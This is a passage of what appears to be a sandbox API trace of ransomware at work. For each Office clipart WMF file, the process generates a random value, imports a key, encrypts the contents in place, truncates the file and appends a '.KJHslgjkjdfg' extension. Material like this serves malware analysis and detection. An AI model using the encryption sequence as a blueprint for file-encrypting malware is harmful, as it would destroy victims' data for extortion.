lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1378, lpOverlapped=0x0) returned 1 [0195.779] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1380, dwBufLen=0x1380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1380) returned 1 [0195.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.779] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1380, lpOverlapped=0x0) returned 1 [0195.779] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.779] SetEndOfFile (hFile=0x130) returned 1 [0195.782] GetProcessHeap () returned 0x2ef0000 [0195.782] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.782] GetProcessHeap () returned 0x2ef0000 [0195.782] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.kjhslgjkjdfg")) returned 1 [0195.783] CloseHandle (hObject=0x130) returned 1 [0195.783] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0195.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.785] GetProcessHeap () returned 0x2ef0000 [0195.785] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.785] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.785] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.787] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.787] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.787] GetProcessHeap () returned 0x2ef0000 [0195.787] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.787] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.787] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.787] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.788] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.788] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.789] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf7c, lpOverlapped=0x0) returned 1 [0195.789] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80, dwBufLen=0xf80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80) returned 1 [0195.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.789] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf80, lpOverlapped=0x0) returned 1 [0195.789] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.789] SetEndOfFile (hFile=0x130) returned 1 [0195.792] GetProcessHeap () returned 0x2ef0000 [0195.792] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.792] GetProcessHeap () returned 0x2ef0000 [0195.792] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.kjhslgjkjdfg")) returned 1 [0195.793] CloseHandle (hObject=0x130) returned 1 [0195.793] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0195.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.794] GetProcessHeap () returned 0x2ef0000 [0195.794] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.794] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.796] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.796] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.796] GetProcessHeap () returned 0x2ef0000 [0195.796] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.796] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.797] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.797] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.797] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.797] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x488, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x488, lpOverlapped=0x0) returned 1 [0195.797] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x490, dwBufLen=0x490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x490) returned 1 [0195.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.798] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x490, lpOverlapped=0x0) returned 1 [0195.798] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.798] SetEndOfFile (hFile=0x130) returned 1 [0195.800] GetProcessHeap () returned 0x2ef0000 [0195.800] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.800] GetProcessHeap () returned 0x2ef0000 [0195.800] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.kjhslgjkjdfg")) returned 1 [0195.802] CloseHandle (hObject=0x130) returned 1 [0195.802] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0195.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.802] GetProcessHeap () returned 0x2ef0000 [0195.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.802] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.803] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.808] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.808] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.808] GetProcessHeap () returned 0x2ef0000 [0195.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.808] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.808] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.808] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.808] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.809] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.809] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.809] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x91c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x91c, lpOverlapped=0x0) returned 1 [0195.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x920, dwBufLen=0x920 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x920) returned 1 [0195.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.809] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x920, lpOverlapped=0x0) returned 1 [0195.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.810] SetEndOfFile (hFile=0x130) returned 1 [0195.812] GetProcessHeap () returned 0x2ef0000 [0195.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.812] GetProcessHeap () returned 0x2ef0000 [0195.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.kjhslgjkjdfg")) returned 1 [0195.814] CloseHandle (hObject=0x130) returned 1 [0195.814] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0195.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.814] GetProcessHeap () returned 0x2ef0000 [0195.814] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.814] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.815] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.816] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.816] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.816] GetProcessHeap () returned 0x2ef0000 [0195.816] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.816] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.816] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.816] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.816] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.817] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.817] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.817] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x284c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x284c, lpOverlapped=0x0) returned 1 [0195.818] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2850, dwBufLen=0x2850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2850) returned 1 [0195.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.818] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2850, lpOverlapped=0x0) returned 1 [0195.818] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.818] SetEndOfFile 